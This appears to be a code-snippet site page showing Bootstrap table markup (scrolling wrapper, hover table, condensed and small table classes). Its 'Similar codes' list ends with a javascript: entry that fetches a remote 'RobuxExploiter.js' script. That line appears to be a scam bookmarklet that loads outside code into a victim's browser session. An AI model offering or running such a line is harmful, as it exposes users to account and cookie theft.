Bootstrap table hover

Table bootstrap with scrool

<div style="height: 600px;overflow: scroll;">
<!-- change height to increase the number of visible row  -->
	<table></table>
</div>

Bootstrap table hover

<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">#</th>
      <th scope="col">First</th>
      <th scope="col">Last</th>
      <th scope="col">Handle</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th scope="row">1</th>
      <td>Mark</td>
      <td>Otto</td>
      <td>@mdo</td>
    </tr>
    <tr>
      <th scope="row">2</th>
      <td>Jacob</td>
      <td>Thornton</td>
      <td>@fat</td>
    </tr>
  </tbody>
</table>

Source: getbootstrap.com

Bootstrap table dense

<!-- BOOTSTRAP V3 -->
<table class="table table-condensed">
  ...
</table>
<!-- BOOTSTRAP v4 -->
<table class="table table-sm">
  ...
</table>

Compact table bootstrap

Condensed Table
The .table-condensed class makes a table more compact by cutting cell padding in half

-3

Similar codes

0 vote183 views1 answer
How to open files as super user ubuntu
Html
0 vote205 views1 answer
Style upload button vue
Html
19 votes209 views1 answer
Font tag html
Html
53 votes229 views6 answers
Image code
Html
69 votes187 views6 answers
Links in html
Html
0 vote198 views1 answer
Country select in bootstrap form
Html
0 vote239 views1 answer
Html date min today
Html
0 vote196 views1 answer
Fa fa pencil edit icon
Html
0 vote224 views1 answer
Format html in notepad++
Html
0 vote223 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Html